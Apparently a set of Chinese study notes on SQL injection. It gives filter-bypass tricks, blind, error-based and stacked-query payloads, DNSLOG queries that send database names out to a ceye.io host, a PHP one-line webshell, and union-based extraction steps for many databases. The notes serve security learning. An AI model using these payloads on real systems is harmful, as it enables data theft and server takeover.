1. 参数类型 - 符号闭合
2. 数据库类型 - 选择不同的攻击语句和攻击思路
3. 数据提交方式 - 数据注入的时候传输不一样，如POST、HOST等
4. 数据SQL查询方式 - 1.无回显 2.测试点不同（增删改查等） 3.人工发现
5. 数据加密编码方式
6. 存在回显 - 盲注
7. 高权限 - 换一种思路获得权限

漏洞危害

1. 单个数据库泄漏
2. 所有数据库泄漏
3. 后台权限
4. web权限：文件操作、执行命令等
5. 后续导致服务器权限丢失

漏洞特点

1. 开发语言决定注入发生率
2. 数据库类型决定注入利用过程
3. 部分注入点的发现需要人工探针（增删改查等）
4. 防护注入代码过滤、WAF等

1. 过滤关键词，如select、update、insert等
2. 过滤空格

堆叠注入

数据库类型支持多条语句；

;show databases;
;show tables;
;show columns from ``;
## 由于select被过滤，因此可以将列名改为flag再输出

## 或者，采用如下方法：
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

二次注入

先写入后组合的注入（如：注册——登录——修改）； 受到攻击的sql语句：

update user set passwd='新密码' where username='用户名' and passwd='旧密码'

密码一般会被加密，不好入手，因此选择用户名攻击：

## 空格被过滤
x"^updatexml(1,concat(0x7e,(version())),0)#

DNSLOG注入

解决不回显，相比盲注更快，但适用范围不广，因为要用到load_file()函数，需要root权限，并且secure_file_priv需要为空，且需要操作系统为Windows（\\为unc路径）。

ping test.dbuh8a.ceye.io
ping %USERNAME%.dbuh8a.ceye.io
select load_file('\\\\xxxx.dbuh8a.ceye.io\\aa'));
select load_file(concat('\\\\',(select database()),'.dbuh8a.ceye.io\\aa'));

高权限注入

数据库用户分为系统用户和普通用户。前者可看所有数据库，可进行文件读写；后者不行。 ⚠️所以，某些注入点可以读写文件。

# 判断是否高权限
python sqlmap.py -u "http://XXX?id=1" --is-dba

写入一句话后门

<?php eval($_POST['x']); ?>

select * from users order by $sth

盲注的三种类型

1. 逻辑判断 regexp、like、ascii、left、ord、mid

   like 'ro%'
   regexp '^user[a-z]'
   
   #截取字符串
   mid(str,start_loc,length)
   substr(str,start_loc,length)
   left(str,length) #从左侧截取
   
   #字符串长度
   length()
   

2. 延时判断 if、sleep

   select * from users where id=1 and if(1>2,2,0);
   select * from users where id=1 and sleep(5);
   select * from users where id=1 and if(1>2,sleep(5),sleep(10));
   

3. 报错回显 floor、updatexml、extractvalue

逻辑判断

例如：

?id=1' and length(database())=8--+
?id=1' and left(database(),1)>'a'--+

延时判断

and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+

报错注入

12种报错注入+万能语句

更新注入

update user set username='$name' where id = 1
$name = "' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '"
// 结果
update user set username='' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '' where id = 1

出现结果ERROR 1062(23000): Duplicate entry '1~security~' for key 'group_key'，则得到库名为security； 若将database()改为version()，则提示ERROR 1062(23000): Duplicate entry '1~5.5.53~' for key 'group_key'。

• 其他注入语句

sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or  updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit

插入注入

username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
username=x' or updatexml(1,concat(0x7e,(version())),0) or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
username=x' or extractvalue(1,concat(0x7e,database())) or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

删除注入

or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
or+updatexml+(1,concat(0x7e,database()),0)
or+extractvalue(1,concat(0x7e,database()))

1. 在使用SQLMap进行POST注入时，可以使用post.txt注入，而不是使用--data参数，因为使用txt方式注入使用的是真实的数据包，而--data使用的是SQLMap自带的请求头；
2. 在注入点处用星号标记，例如host: XXX*；
3. 使用python sqlmap.py -r host.txt开始注入

万能密码原理(post注入)

例如对于下列sql语句：

select * from admin where username='$user' and password='$pass' ;

使$user = “admin’ or ‘1’=‘1”，得到

select * from admin where username='admin' or '1'='1' and password='$pass' ;

host注入

在HTTP头中，把order by 4（payload）作为host项传递。

XFF注入

例如，某些网站会验证用户的IP地址来判断是否放行；在日志记录时会在数据库中记录HTTP头信息，因此可能存在注入点。如PHP正确获取客户端IP地址。

以下三个参数可能存在注入点：

HTTP_CLIENT_IP：存在于http请求的header HTTP_X_FORWARDED_FOR：请求转发路径，客户端IP，代理1IP，代理2IP…… HTTP_X_REAL_IP：这个用得比较少，暂不讨论。 这三个值都是从HTTP请求头获取的，所以并不可靠！

根据功能区分注入类型

例如，搜索sql如下：

select * from zzz_user where name like '%$name%'

字符串相关的sql判断语句会包含引号等等。

⚠️注意数字、字母、JSON类型字符串。

数据库类型判断

1. SQL注入语句判断（配合工具）
2. 搭建组合、信息搜集
3. 端口扫描

一、Access注入（较少见，没有数据库名）

1. 猜测有多少列（order by 22）
   22正常，23错误
2. 联合注入/暴力注入（union select 1,2,3,4,…,22 from admin）
   1. 此处猜测表名为admin，此处暴力破解，配合抓包工具

> 使用Burp Suite的变量功能，批量发送数据包，批量检查返回包来确定 

<ol start="2">
  <li>
    为测试页面回显，依次在1,2,username,password,…,22写上列名<br /> 此处也需要暴力破解列名
  </li>
</ol>

3. 偏移注入：解决表名获取到但列名获取不到的情况
   表名获取不到，则必须要字典暴力破解
   依次测试下列语句，直到不再报错：

union select 1,2,3,4,…,19,20,21,* from admin
union select 1,2,3,4,…,19,20,* from admin
union select 1,2,3,4,…,19,* from admin
union select 1,2,3,4,…,18,* from admin
…

假设union select 1,2,3,4,…,16,* from admin正常显示，则admin中列的个数：22-16=6
4. 二级偏移16-6=10/三级偏移10-6=4/…

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

二、MySQL注入

1. 猜测有多少列（order by 4）

2. 联合注入（union select 1,2,3,4）——获取数据库名

2.1. 测试回显

• 此时页面正常，将前面的条件置为假，出现数字（此处假设数字为2）
• 例如，id=1改为id=-1，或者加上and 1=2

2.2. 使用内置函数获取数据库名（假设此处为db）

union select 1,database(),3,4

• 同时可用version()、user()、@@version_compile_os查询数据库版本、用户、操作系统名

3. 获取数据（面向MySQL 5.0及以上）

• ⚠️注意：MySQL 5.0以下注入属于暴力破解，5.0及以上版本为有根据猜解。因为在MySQL 5及以上版本中有information_schema库，它储存了mysql所有数据库名、表名、列名信息。数据库版本可用上一步的 version() 获取。
  • information_schema.tables表下的列table_name 存储表名信息的表
  • information_schema.columns表下的列column_name 存储列名信息的表
  • information_schema.schemata表下的列shcema_name 存储数据库名信息的表

3.1. 获取表名

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’db’

• 此处db为数据库名，在第二步中已经得到（假设其中有member）
  • table_schema 数据库名
  • table_name 表名
  • column_name 列名

3.2. 获取列名

union select 1,group_concat(column_name),3,4 from information_schema.tables where table_name=’member’

• 假设获取到了name、password等列名

3.3. 获取数据

union select 1,name,password,4 from member

3.4. 若版本为5.0以下，则尝试配合字典/文件读取读取尝试获取

三、PostgreSQL注入

1. 基本思路与MySQL一致，参考：https://www.cnblogs.com/she11s/p/12326629.html

2. 猜测有多少列

order by 4

3. 联合注入

union select null,null,null,null

4. 获取数据库名：

id=-1 union select null,current_database(),null,null

5. 获取表名

id=-1 union select null,relname,null,null from pg_stat_user_tables limit 1 offset 1

6. 列名

union select null,column_name,null from information_schema.columns where table_name=’表名’

四、SQLite注入

1. 使用sqlite_master隐藏表，参考：https://www.cnblogs.com/xiaozi/p/5760321.html 中的union select注入，盲注将在以后涉及，这里暂时略过。

2. 查询表名和列名

union select 1,name,sql,4 from sqlite_master

五、DB2注入

1. 参考https://www.cnblogs.com/xiaozi/p/5760321.html

2. 猜测有多少列（order by 4）

3. 获取库名

and 1=2 union select 1,2,current schema,4 from sysibm.sysdummy1

4. 表名

and 1=2 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1

5. 列名

union select 1,2,column_name,4 from sysibm.columns where …

6. 内置函数
   • sysibm.sysdummy1 数据库名
   • syscat.tables 表名
   • sysibm.columns 列名

六、Oracle注入

1. 参考https://www.cnblogs.com/peterpan0707007/p/8242119.html
2. 猜测有多少列（order by 4）
3. 判断列类型

union select null,null,… from dual

- 判断字符型还是数字型：在第一个null上加上单引号，正常（输出null）说明第一列为字符型，否则（不显示）为数字型。依次判断各列的类型。

4. 确定回显位

union select 1,2 from dual

5. 假设返回2，则第一个表

union select 1,(select table_name from user_tables where rownum=1) from dual

- 第二个表以此类推。

6. 通过模糊like查询获得表名，配合抓包工具（见Access数据库注入）

*七、MongoDB闭合注入（较特殊，工具可能不支持）

1. 首先要获得代码，否则将很难注入。

2. 获取回显：’}); return ({title:1,content:’2

   • ⚠️这里假如不知道字段名要靠猜，这也是MongoDB注入点少的原因。

3. 库名

'}); return ({title:tojson(db),content:’2

4. 表名

'}); return ({title:tojson(db.getCollectionNames()),content:’2

5. 列名、数据

'}); return ({title:tojson(db.Authority_confidential.find[0]),content:’2
'}); return ({title:tojson(db.Authority_confidential.find[1]),content:’2

八、MSSQL和Sybase注入

1. order by 4
2. 回显：

union all select ‘null’,null,null,null
union all select null,’null’,null,null //显示null说明回显位为2
union all select null,null,’null’,null
union all select null,null,null,’null’

3. 猜列名猜表名基本一致